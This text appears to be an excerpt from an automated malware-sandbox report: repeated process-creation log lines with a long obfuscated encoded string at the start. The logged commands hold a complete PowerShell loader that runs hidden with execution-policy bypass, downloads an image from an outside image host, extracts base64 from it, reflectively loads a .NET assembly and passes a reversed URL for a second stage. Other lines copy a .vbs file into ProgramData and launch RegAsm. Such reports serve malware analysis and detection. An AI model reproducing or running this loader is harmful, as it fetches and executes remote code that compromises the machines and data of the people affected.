HMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.LIRPAVH/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrezqbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredcdgtremwdgtrevdgtredcdgtreoqdgtre3dgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredmdgtreodgtredgtre4dgtredidgtremdgtredgtreydgtredkdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdg
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links \| get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'c:\programdata\' , 'osma','regasm',''))} }"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrezqbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredcdgtremwdgtrevdgtredcdgtreoqdgtre3dgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredmdgtreodgtredgtre4dgtredidgtremdgtredgtreydgtredkdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdg
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrezqbzdgtrec8dgtremdgtredgtrewdgtredqdgtrelwdgtre3dgtredcdgtremwdgtrevdgtredcdgtreoqdgtre3dgtrec8dgtrebwbydgtregkdgtrezwbpdgtreg4dgtreyqbsdgtrec8dgtrebgbldgtrehcdgtrexwbpdgtreg0dgtreyqbndgtregudgtrelgbqdgtrehdgtredgtrezwdgtre/dgtrededgtrenwdgtrexdgtredmdgtreodgtredgtre4dgtredidgtremdgtredgtreydgtredkdgtrejwdgtresdgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdg
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links \| get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'c:\programdata\' , 'ova','regasm',''))} }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $downloadeddata = @(); $shuffledlinks = $links \| get-random -count $links.length; foreach ($link in $shuffledlinks) { try { $downloadeddata += $webclient.downloaddata($link) } catch { continue } }; return $downloadeddata }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('projetoautomacao.vb.home'); $method = $type.getmethod('vai').invoke($null, [object[]] ('txt.lirpavh/sc/zn.enidlaregyats//:sptth' , '1' , 'c:\programdata\' , 'ova','regasm',''))} }"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'zgb1dgtreg4dgtreywb0dgtregkdgtrebwbudgtrecdgtredgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrergbydgtreg8dgtrebqbmdgtregkdgtrebgbrdgtrehmdgtreidgtreb7dgtrecdgtredgtrecdgtrebhdgtrehidgtreyqbtdgtrecdgtredgtrekdgtrebbdgtrehmdgtreddgtrebydgtregkdgtrebgbndgtrefsdgtrexqbddgtrecqdgtrebdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrecdgtredgtrepqdgtregdgtree4dgtrezqb3dgtrec0dgtretwbidgtregodgtrezqbjdgtrehqdgtreidgtrebtdgtrehkdgtrecwb0dgtregudgtrebqdgtreudgtree4dgtrezqb0dgtrec4dgtrevwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreowdgtregdgtrecqdgtrezdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtregudgtrezdgtrebedgtregedgtreddgtrebhdgtrecdgtredgtrepqdgtregdgtreedgtredgtrekdgtredgtrepdgtredsdgtreidgtredgtrekdgtrehmdgtreadgtreb1dgtregydgtrezgbsdgtregudgtrezdgtrebmdgtregkdgtrebgbrdgtrehmdgtreidgtredgtre9dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtreidgtreb8dgtrecdgtredgtrerwbldgtrehqdgtrelqbsdgtregedgtrebgbkdgtreg8dgtrebqdgtregdgtrec0dgtreqwbvdgtrehudgtrebgb0dgtrecdgtredgtrejdgtrebsdgtregkdgtrebgbrdgtrehmdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecdgtredgtrezgbvdgtrehidgtrezqbhdgtregmdgtreadgtredgtregdgtrecgdgtrejdgtrebsdgtregkdgtrebgbrdgtrecdgtredgtreaqbudgtrecdgtredgtrejdgtrebzdgtreggdgtredqbmdgtregydgtrebdgtrebldgtregqdgtretdgtrebpdgtreg4dgtreawbzdgtreckdgtreidgtreb7dgtrecdgtredgtreddgtrebydgtrehkdgtreidgtreb7dgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtredgtrerdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregwdgtreaqbudgtregsdgtrekqdgtregdgtreh0dgtreidgtrebjdgtregedgtreddgtrebjdgtreggdgtreidgtreb7dgtrecdgtredgtreywbvdgtreg4dgtreddgtrebpdgtreg4dgtredqbldgtrecdgtredgtrefqdgtregdgtreh0dgtreowdgtregdgtrehidgtrezqb0dgtrehudgtrecgbudgtrecdgtredgtrejdgtrebkdgtreg8dgtredwbudgtregwdgtrebwbhdgtregqdgtrezqbkdgtreeqdgtreyqb0dgtregedgtreidgtreb9dgtredsdgtreidgtredgtrekdgtregwdgtreaqbudgtregsdgtrecwdgtregdgtred0dgtreidgtrebdgtredgtrecgdgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredqbwdgtregwdgtrebwbhdgtregqdgtrezdgtrebldgtregkdgtrebqbhdgtregcdgtrezqbudgtrehmdgtrelgbjdgtreg8dgtrebqdgtreudgtregidgtrecgdgtrevdgtregkdgtrebqbhdgtregcdgtrez